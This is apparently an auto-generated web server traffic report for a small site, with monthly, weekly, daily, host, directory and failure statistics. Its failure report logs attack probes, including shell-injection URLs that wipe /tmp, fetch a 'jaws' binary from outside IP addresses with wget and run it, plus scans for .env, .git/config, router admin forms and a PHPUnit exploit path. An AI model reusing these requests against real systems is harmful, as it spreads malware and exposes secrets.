Program started at Fri-09-Jun-2023 00:09.
Analysed requests from Sat-11-Mar-2023 00:15 to Thu-08-Jun-2023 23:17 (89.96 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 09-Jun-2023 00:09.
Successful requests: 7,461 (515)
Average successful requests per day: 82 (73)
Successful requests for pages: 6,611 (490)
Average successful requests for pages per day: 73 (69)
Failed requests: 7,102 (488)
Redirected requests: 369 (26)
Distinct files requested: 214 (74)
Distinct hosts served: 3,837 (394)
Corrupt logfile lines: 1,784
Unwanted logfile entries: 938,346
Data transferred: 10.59 megabytes (610.98 kilobytes)
Average data transferred per day: 120.53 kilobytes (87.28 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Mar 2023 | 1582 | 1469 | ![]() ![]() ![]() |
Apr 2023 | 2296 | 2185 | ![]() ![]() ![]() |
May 2023 | 2962 | 2366 | ![]() ![]() |
Jun 2023 | 621 | 591 | ![]() ![]() |
Busiest month: May 2023 (2,366 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the activity in each week.
Each unit () represents 20 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
5/Mar/23 | 55 | 51 | ![]() ![]() |
12/Mar/23 | 561 | 529 | ![]() ![]() ![]() ![]() |
19/Mar/23 | 526 | 477 | ![]() ![]() |
26/Mar/23 | 555 | 526 | ![]() ![]() ![]() ![]() |
2/Apr/23 | 525 | 493 | ![]() ![]() ![]() |
9/Apr/23 | 489 | 469 | ![]() ![]() |
16/Apr/23 | 577 | 549 | ![]() ![]() ![]() |
23/Apr/23 | 504 | 474 | ![]() ![]() |
30/Apr/23 | 525 | 505 | ![]() ![]() ![]() |
7/May/23 | 520 | 488 | ![]() ![]() ![]() |
14/May/23 | 573 | 518 | ![]() ![]() ![]() |
21/May/23 | 744 | 567 | ![]() ![]() ![]() ![]() |
28/May/23 | 971 | 648 | ![]() ![]() |
4/Jun/23 | 336 | 317 | ![]() |
Busiest week: week beginning 28/May/23 (648 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the activity in each day.
Each unit () represents 4 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
28/Apr/23 | 66 | 64 | ![]() |
29/Apr/23 | 62 | 62 | ![]() |
30/Apr/23 | 86 | 86 | ![]() ![]() ![]() |
1/May/23 | 74 | 73 | ![]() ![]() ![]() |
2/May/23 | 68 | 65 | ![]() ![]() |
3/May/23 | 73 | 71 | ![]() ![]() |
4/May/23 | 77 | 73 | ![]() ![]() ![]() |
5/May/23 | 94 | 87 | ![]() ![]() ![]() |
6/May/23 | 53 | 50 | ![]() ![]() ![]() |
7/May/23 | 74 | 71 | ![]() ![]() |
8/May/23 | 68 | 61 | ![]() |
9/May/23 | 75 | 72 | ![]() ![]() |
10/May/23 | 75 | 73 | ![]() ![]() ![]() |
11/May/23 | 72 | 68 | ![]() ![]() |
12/May/23 | 92 | 82 | ![]() ![]() ![]() |
13/May/23 | 64 | 61 | ![]() |
14/May/23 | 74 | 70 | ![]() ![]() |
15/May/23 | 79 | 79 | ![]() ![]() |
16/May/23 | 98 | 88 | ![]() ![]() ![]() |
17/May/23 | 101 | 72 | ![]() ![]() |
18/May/23 | 73 | 72 | ![]() ![]() |
19/May/23 | 89 | 80 | ![]() ![]() |
20/May/23 | 59 | 57 | ![]() ![]() ![]() ![]() |
21/May/23 | 75 | 71 | ![]() ![]() |
22/May/23 | 93 | 88 | ![]() ![]() ![]() |
23/May/23 | 231 | 115 | ![]() ![]() ![]() ![]() |
24/May/23 | 117 | 78 | ![]() ![]() |
25/May/23 | 75 | 68 | ![]() ![]() |
26/May/23 | 85 | 80 | ![]() ![]() |
27/May/23 | 68 | 67 | ![]() ![]() |
28/May/23 | 64 | 64 | ![]() |
29/May/23 | 188 | 98 | ![]() ![]() ![]() |
30/May/23 | 270 | 128 | ![]() |
31/May/23 | 164 | 84 | ![]() ![]() ![]() |
1/Jun/23 | 106 | 101 | ![]() ![]() ![]() |
2/Jun/23 | 89 | 88 | ![]() ![]() ![]() |
3/Jun/23 | 90 | 85 | ![]() ![]() ![]() |
4/Jun/23 | 55 | 51 | ![]() ![]() ![]() |
5/Jun/23 | 53 | 53 | ![]() ![]() ![]() |
6/Jun/23 | 80 | 71 | ![]() ![]() |
7/Jun/23 | 81 | 75 | ![]() ![]() ![]() |
8/Jun/23 | 67 | 67 | ![]() ![]() |
Busiest day: 30/May/23 (128 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 906 | 865 | ![]() ![]() ![]() |
Mon | 1066 | 927 | ![]() ![]() ![]() |
Tue | 1398 | 1084 | ![]() ![]() ![]() |
Wed | 1128 | 925 | ![]() ![]() ![]() |
Thu | 969 | 909 | ![]() ![]() ![]() |
Fri | 1008 | 951 | ![]() ![]() ![]() ![]() |
Sat | 986 | 950 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
7461 | 100% | [unresolved numerical addresses] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
909 | 18.40% | 114 |
880 | 11.65% | 54 |
297 | 4.10% | 52 |
241 | 8.73% | 34 |
236 | 4.06% | 18 |
175 | 3.36% | 216.244 |
167 | 4.23% | 13 |
154 | 1.89% | 35 |
126 | 1.81% | 104 |
121 | 0.37% | 45 |
102 | 3.96% | 217.113 |
99 | 2.78% | 3 |
98 | 0.34% | 40 |
93 | 0.26% | 167.94 |
84 | 0.25% | 103 |
83 | 1.45% | 192.99 |
76 | 0.82% | 5 |
71 | 0.21% | 205.210 |
69 | 0.21% | 14 |
68 | 8.35% | 77 |
3312 | 22.76% | [not listed: 507 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
16 | 0.15% | 5.102.173.71 |
14 | 0.04% | 14.116.184.240 |
11 | 0.03% | 36.40.66.38 |
12 | 0.09% | 37.187.73.123 |
20 | 0.07% | 40.77.167.188 |
22 | 0.08% | 40.77.167.213 |
16 | 0.05% | 40.77.167.221 |
33 | 0.11% | 40.77.167.223 |
12 | 0.04% | 45.128.232.62 |
46 | 0.36% | 46.246.122.35 |
11 | 0.03% | 51.254.59.113 |
16 | 0.05% | 52.167.144.103 |
62 | 0.21% | 52.167.144.148 |
43 | 0.14% | 52.167.144.159 |
11 | 0.03% | 59.36.163.204 |
11 | 1.26% | 77.75.79.31 |
12 | 1.67% | 77.75.79.109 |
24 | 0.07% | 92.118.39.82 |
11 | 0.86% | 102.165.16.68 |
43 | 0.13% | 104.156.155.30 |
11 | 0.03% | 104.156.155.31 |
12 | 0.03% | 109.206.241.102 |
11 | 0.03% | 113.142.131.55 |
12 | 0.04% | 117.33.227.207 |
20 | 0.07% | 118.195.131.140 |
12 | 0.03% | 128.14.209.162 |
11 | 0.07% | 135.181.180.59 |
22 | 0.06% | 139.144.52.241 |
13 | 0.04% | 141.98.11.41 |
30 | 0.10% | 157.55.39.213 |
12 | 0.03% | 162.221.192.26 |
11 | 0.03% | 167.94.138.51 |
29 | 0.08% | 179.43.177.242 |
11 | 0.03% | 179.43.177.243 |
16 | 0.05% | 179.43.177.244 |
11 | 0.03% | 182.43.148.98 |
24 | 0.08% | 183.136.225.32 |
11 | 0.03% | 185.225.74.42 |
11 | 0.07% | 192.99.3.137 |
72 | 1.38% | 192.99.7.70 |
12 | 0.04% | 193.32.162.159 |
13 | 0.04% | 194.55.224.203 |
11 | 0.03% | 195.191.219.130 |
12 | 0.03% | 195.191.219.131 |
17 | 0.05% | 195.191.219.132 |
18 | 0.05% | 195.191.219.133 |
16 | 0.05% | 212.83.180.245 |
175 | 3.36% | 216.244.66.247 |
11 | 0.03% | 223.240.99.104 |
11 | 0.03% | 223.247.178.167 |
6357 | 88.47% | [not listed: 3,787 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
852 | 32.59% | /WWW_REPORTS/ |
73 | 31.96% | /img/ |
632 | 15.70% | /ANALOG_REPORTS/ |
4992 | 15.12% | [root directory] |
677 | 3.16% | /icons/ |
232 | 1.46% | /jmprice.pairserver.com/ |
3 | 0.01% | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
1106 | /robots.txt |
554 | /x16/x03/x01 |
520 | /favicon.ico |
303 | /.env |
146 | /boaform/admin/formLogin |
130 | /shell |
30 | /shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws |
25 | /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws |
21 | /shell?cd+/tmp;rm+-rf+*;wget+167.71.210.63/jaws;sh+/tmp/jaws |
118 | * |
104 | /wp-login.php |
82 | /upl.php |
82 | /client/get_targets |
74 | /geoserver/web/ |
72 | /geoip/ |
71 | /x03 |
66 | /x16/x03/x01/x01H/x01 |
53 | MGLNDD_216.92.35.101_80/n |
49 | /ANALOG_REPORTS/images |
24 | /ANALOG_REPORTS/images?C=N%3BO%3DA |
44 | /.git/config |
43 | /aaa9 |
41 | /aab8 |
40 | /sitemap.xml |
37 | /HNAP1/ |
35 | /_profiler/phpinfo |
31 | /fcgi-bin/ |
31 | /sitemap.txt |
31 | /sitemap |
29 | / |
29 | /index.php |
28 | /1.php |
28 | /GponForm/diag_Form |
28 | /GponForm/diag_Form?images/ |
26 | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
3050 | [not listed: 1,269 files] |